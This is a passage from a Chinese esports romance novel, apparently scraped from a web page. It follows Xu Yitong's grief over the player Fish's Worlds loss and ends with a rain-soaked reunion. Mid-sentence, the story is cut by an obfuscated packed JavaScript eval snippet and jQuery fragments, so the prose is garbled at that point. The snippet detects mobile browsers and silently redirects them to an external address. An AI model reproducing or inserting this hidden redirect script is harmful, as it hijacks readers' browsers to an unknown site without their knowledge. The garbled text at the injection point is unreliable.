竞技体育是残酷的。
这句话徐依童已经看过无数次。它经常出现，也很普通，理性地更像一个结论。她从未有过更深的感触。
可是在今天，在这句话和余戈划上等号的这一秒，她忽然就体会到了它背后包含的无尽遗憾。
徐依童有点难受。
她想到了比赛结束，OG众人拿着外设下台时，有一个镜头单独切给了余戈。
他背影的特写长达十几秒。
与此同时，分镜里的几个解说都红了眼眶，其中一位男解说做着最后的陈词——
“电竞选手的黄金时期很短暂，而你用满身伤病换来了比常人更久的巅峰期。少了世冠，他们总说你职业生涯不够完整。于是你一年又一年地闯入世界赛，可遗憾这个词好像总是伴随着你。”
“这条路究竟还有多长，你还要付出多少，才能走到终点呢。”说到最后，男解说已经哽咽，“Fish，明年见，希望还有明年。”
徐依童放下手机，抱膝缩在客厅的沙发上，发着呆，想起了更多和余戈有关的事。都是不太连贯的零碎记忆——
那时候，余戈手疼得开不了车。
可他说自己不怕疼。
那时候，她觉得余戈总是很高傲，他脊背永远挺得那么直。
在医院被最亲的人指着鼻子骂的时候，他是这样。身上带着伤，独自走进黑夜的时候，他是这样。比赛失利，面对所有人时，他还是这样。
那时候，她喜欢他，却总觉得他生活很单调。
徐依童曾经甚至跟朋友抱怨过，每次她问余戈在干什么，他给她的回复都是一样的。
训练。
日复一日的枯燥训练，好像这就是他的全部。
...
这些微不足道的片段，徐依童从前都没有放到心上过。此刻它们却仿佛突然长出了锋利的棱角，割得她心里有些痛。
徐依童突然很想给余戈发个消息。
想安慰他，让他不要太难过。
想问他在干什么。哪怕知道他现在还能好好吃顿饭，能好好睡一觉，她就能稍微安心一点。
可是真的打开手机，找到余戈的对话框后，徐依童停顿了很久。
打了又删，几百字，什么话语都显得很苍白。
最后还是什么都没发。
...
...
徐依童一直觉自己心理承受能力挺强的，遇到事情也很乐观。但没想到只是见证了一场比赛失利而已，她居然连着一个星期都没敢上网。
LCK的一号种子在左半区，先后打败LPL的一号种子和三号种子闯入决赛，已经是不可抵挡之势。
虽然LPL还剩下TG最后一根独苗，但这支队伍毕竟太年轻，状态也一直起起伏伏。不论是解说还是各方预测，都觉得TG难以啃下PPE这块硬骨头。今年LPL夺冠的形式实在是不太乐观。
不过这些东西，徐依童没怎么关注了。
*
11月4日，北京时间晚八点，TG夺冠的消息，传遍了整个互联网。
徐依童和几个朋友在一家音乐烧烤餐吧看了这场比赛的线下直播。
露天电影院的大幕布实时转播着鸟巢的夺冠现场。
全场灯光闪耀，台下万人高呼，台上少年意气风发。礼花的碎屑洋洋洒洒地飘下来，鸟巢里下起了金色的雨。
餐厅里一起看比赛的陌生人互相举杯庆祝，徐依童跟着人群一起欢呼。她抿了口酒，也在笑。
她发自真心地为陈逾征开心。
蔡一诗掌心都拍烂了，“弟弟太厉害了吧。”
颁奖的环节，主持人微笑地介绍着，今年的总冠军，是来自LPL赛区一支很年轻的队伍。五位队员的平均年龄都在20上下，而今晚的Fmvp，TG-Conquer，甚至刚成年。同时，他们也是一支堪称奇迹的队伍，出道仅一年拿下世冠，这在整个联盟历史里也是十分罕见的。
——毋庸置疑，幸运女神今晚站在了他们身后。
...
...
短暂地狂欢后，众人又开始吃吃喝喝。她们从音乐餐吧转战到酒吧，徐依童大手一挥，“今晚消费童姐买单。”
“这就是富婆吗。”蔡一诗娇嗔，“走百步，不如童姐扶一步。”
茉莉刷着微博，全是跟TG有关的词条。她忍不住唏嘘了声，“真好，弟弟打败了这个韩国队，也算是给童童男神报仇了。”
CC：“......”
蔡一诗：“.......”
徐依童笑脸僵了下。
蔡一诗扶额，提醒她，“你说话之前，再用脑子想想呢？”
茉莉仔细回忆了下，“我没记错呀，余戈不就是输给这群棒子了吗？”
CC往茉莉嘴里塞了个小番茄，“非要提这一茬，你见不得徐依童开心？”
“啊！”茉莉叫了声，“童童，我没提你伤心事的意思啊。”
徐依童默默干完了一杯酒，“没事。”
看她这幅样子，其余三人对视几眼。
徐依童自饮自斟，喝空一杯，又倒满，“你们别这个样子行不行？喝酒吧，我真的没事。”
CC去拦了她一下，“你少喝点。”
连蔡一诗都变成了知心大妈，“你刚刚又没怎么吃东西，喝这么猛小心等会难受。”
“干嘛啊？”徐依童莫名其妙，“我弟今天夺冠，我心里高兴，多喝几杯咋啦？”
“行行行，你高兴你就多喝点。”
她们默契地不在提这个，纷纷陪徐依童喝起了酒。
酒过三巡，也到了场子热起来的点。茉莉喝嗨了，想下场去蹦迪，问徐依童去不去。
徐依童摇头。
蔡一诗：“行吧，我们玩一会儿就回来，你把东西看好。”
等她们走后，徐依童借着酒意，摸出了手机。
她登上了很久没看的微博。
夺冠之夜，拳头的官方账号发推，随后，各大官博相继发了庆祝TG夺冠的消息。
晚十点，TG官博发了微博庆贺。
在这条微博下的评论，LPL的所有战队都发来了祝贺，其中也包括‘死对头’OG。在这一层的楼中楼里，小部分人让他们明年加油，剩下大部分人，都在问，‘Fish会退役吗’
徐依童没敢多看，搜到余戈的微博，点进去。
最新一条仍旧是系统自动发的认证，恭喜他进入四强。底下评论已经很多很多。
他们说。
陈逾征只有十九岁。
这是他的第一年，但这条路，你已经走了六年。
他们问。
命运为什么只对你这么苛刻。
...
...
看了很久评论，徐依童眼前有点模糊。她摸索着键盘，费力地发了一段话。
因为喝多了，所以这段文字颠三倒四的。
小鱼。
希望你成功。
希望你得偿所愿。
你是最厉害的AD，最坚强的小鱼。
余戈，平安健康。
...
...
她们回来的时候，徐依童已经趴在桌上睡了，手边又多了几个空酒瓶。旁边手机屏幕还亮着。
蔡一诗替徐依童关手机的时候，发现界面是和余戈的聊天框。
半个月前的聊天记录，不知道她独自看了多久。
CC把徐依童拍醒，“走了，回家睡。”
徐依童睁开眼，“几点了。”
“快十二点了。”
蔡一诗忍不住道：“你想余戈就给他发消息呗？在这看聊天记录干什么？要不我帮你打个电话。”
徐依童急急抢回自己手机，“不要了。”
“为什么？”
徐依童已经喝得神志不清，却保持着最后一点理智。她吐字困难地说，“我知道，他不开心，不要烦他。”
良久，蔡一诗骂了句。
“真是个傻子。”
*
11月下旬，LPL冬季转会期正式开启。头部几家俱乐部首发成员的调动向来备受关注。而今年，最大的悬念无疑就是OG。
转会期才刚刚开始，网上已经传了无数小道消息。
对于OG明年的阵容，唱衰声一片。有人言之凿凿Fish即将退役，继Wan之后，LPL又一位巨星陨落，明年赛事关注度和收视率必定暴跌。流量选手后继无人，LPL长夜将至。
评论区吵成了一团。
[后继无人？Conquer已成接班人。]
[刚拿一个世冠就想跟他们比？]
[怎么不能比？]
[首先，Fish虽然没世冠，但你要知道，世冠只是他职业生涯的最后一块拼图。Conquer刚拿了一个冠军，离大满贯还差得远。他还是新人，请不要给他戴高帽了好吗？不否认世冠确实重要，但只有一个世冠，也远远够不上能当Fish接班人。世冠年年有，打到能代表赛区的选手，这么多年也就出了几个。你去B站看看这几年的比赛录像就知道，OG的场均观看量是其他队伍的十倍不止。TG明年能做到吗？]
...
...
网上争论不休，OG基地的电话也被打爆了。
“我们是全华班，不会要LCK的打野，外面乱传的。”辉哥越说越暴躁，“什么？谁想挖Fish？HDG？他们跟YLD组队来的吧？我真服了，这群人是不是没长眼睛，自己去转会窗口看啊。”
“HDG母公司？让他死了这条心，我们不可能把Fish挂出去的。”
对面说了个数。
辉哥哽了下，“他们也是绝了，开这么多？背后金主换人了？”
Roy端着水看了会儿热闹，跑去训练室准备分享这个八卦。
结果刚推门进去，发现训练室沉闷一片，每个人的脸色都不太好看。
自从世界赛失利后，队内氛围沉寂了好一阵子。不过一个多月过去，该缓的都缓过来了。反正也不是什么的灭顶打击，除了小C年纪稍微小点，其他人都经历多年的风风雨雨，心态也磨砺得差不多了。半个月的假期过后，大家都纷纷回到基地，这两天如常训练，风平浪静，偶尔还有说有笑，怎么现在...
Roy奇怪：“发生啥了？”
小C眼眶红红，不说话。
“Fish和阿文呢？”Roy四处张望。
Will努了努嘴：“在外面呢。”
“咋了这是？”
Will叹气：“刚刚来了个试训的打野，阿文估计要退役了。”
...
...
“我真没说现在就退役。”阿文无奈地看着余戈，“你别这个样子行不行？我以为我马上就要死了。”
“为什么要替补，是教练组的决定？”
“不是，是我自己。首发压力太大了，网上那些人不都说，我要服老了吗，我寻思也是。”阿文摸出烟盒，叼了根到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931677|153413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘴里，“不过我就算要退，也是等辉哥找到比我更强的打野再退，你放心。”
余戈：“我不是这个意思。”
阿文：“世界赛...”
刚说了三个字，余戈便打断他，“世界赛，是我的问题。”
阿文神色忽然严肃起来，做了个停的手势：“别怪自己，我听不了这些。这本来就是团队游戏，难道真的像网上那群人说的，你不能一己之力扛起整个队伍，就是没用，就是废物？”
阿文望着远处，没有去看余戈，“还记得前年我打算退役的时候吗？我在YLD打了六年，一个冠军都没有。我本来已经打算认命了，也想放弃了。是你说让我再坚持一年，让我信你，你说你一定会帮我拿一个冠军。我想了两天，去找我老板，他二话没说就放了我的合同，甚至没有要转会费，让我去OG找你。”
“你答应我的事，你去年已经做到了。”
“我们认识这么多年，我知道你真正想拿的那个冠军是什么，我也想。但我真的打不动了。春夏双冠已经是对我职业生涯一个交代，我很满足了。你知道我现在状态，反应操作都已经比不上年轻人，再坚持打一年首发也是拖累队伍，替补真的挺好。”
余戈沉默，垂在身侧的手握紧。
“你当初跟我说的话，我现在想给你。”
“再拼一年，不要留遗憾。”
阿文认真地看向他，“再坚持一年吧Fish，不为了别人，就为你自己。也许奇迹明年就发生了呢。”
...
...
一整个下午，余戈都把自己关在房间。
阿文和Will轮流去看了几次。
“果然是老人变坏了。”Will埋怨阿文，“Fish还没走出来，你这个节骨眼，非要整这么一出，他又自闭了。”
阿文也很感叹：“没想到，小喜对我感情这么深。”
Will捶了他一拳，“你不是说好了要陪Fish打到退役么？”
“当替补就不是陪了？你没看到小喜刚刚那样子，我以为他要陪我一起当替补呢。”
Will沉吟，“你倒也不用给自己脸上贴这么大的金。”
“我们兄弟情你不懂。”
“Fish要是陪你当替补，先不说辉哥发不发疯，他粉丝唾沫星子能把咱基地淹了。”
阿文心有戚戚：“这倒也是。”
“走，我们再去看看Fish。”
“别看了。”阿文摸出手机，划拉着微信列表，“我有办法哈。”
Will瞄了眼他手机，意识到他在给谁发消息后，笑，“还是老人诡计多。”
*
天气阴沉沉的，外面下起了雨。昏暗的房间，门突然又开了条缝，一个脑袋探进来。
余戈仍旧盯着窗上的水痕出神。
“咋也不开个灯。”阿文推门进来，“你去基地门口拿个东西，我专门给你买的。”
余戈：“什么？”
阿文把他从床上拉起来，“你去看了就知道。”
...
...
一场秋雨一场寒。
余戈披上外套，随手拿了把伞出门。
走到基地门口的花坛处，他等了会儿，也没见到阿文说的快递员。
雨水敲打着伞面，像断了的透明细线，落在周身。余戈盯着脚边的草丛，有朵小野花已经蔫了。他撑着伞，点开手机，准备给阿文发消息。
身后突然传来一阵脚步声。
余戈把伞往上移了点，看过去。
一把熟悉的小粉伞出现在这个暗调的雨天。
来人跑的急，鞋子沾了泥，裤角也被飞溅的雨水弄脏。她喊了他的名字，声音出来的那一刻，像是道分界线，他耳边的雨声消失了。
徐依童站住脚步，“你等多久啦？”
余戈：“没多久。”
空气忽然就陷入了静默。
余戈刚想说什么，旁边的人利落地把自己的伞一收，矮了矮身，钻到他的伞下。
余戈不着痕迹地顿了顿。
他低声问：“你怎么来了。”
徐依童仰着头：“下雨了，我想见你一面。”
余戈握着伞柄的手莫名紧了一下。
“好吧，其实是阿文给我发消息，他说你躲在房间里偷偷哭，让我想想办法，然后我就来了。”
余戈不知道怎么回答这话，他说，“我没哭。”
“啊...？”徐依童面露失望，“我来的路上，本来已经想好了怎么安慰你，结果你竟然没哭！”
“什么话。”
“你没哭的话，这话就不能说了。”
余戈：“那怎么办。”
徐依童用手接了一点雨水，冰凉的指尖飞快划过他的眼角，笑眯眯道：“你现在哭了。”
余戈嗯了声。
“你还记得我接住的那颗流星吗？”
余戈静静盯着她，“记得。”
“在星星坠落的时候，就是它在掉眼泪，记得吗。”
“记得。”
“所以，小鱼星想坠落的时候，请不要担心。”她信心满满张开手，“我一定会在下面接住你的。”
徐依童逗他，“要抱一下吗？”
她自言自语：“你不说话，我就当你答应了？”
安静片刻，他没动。
徐依童哼哼两声，放下手，“算了...”气音还卡在喉咙里，她一僵，双眼瞪大。
——余戈倾身将她拥入怀中。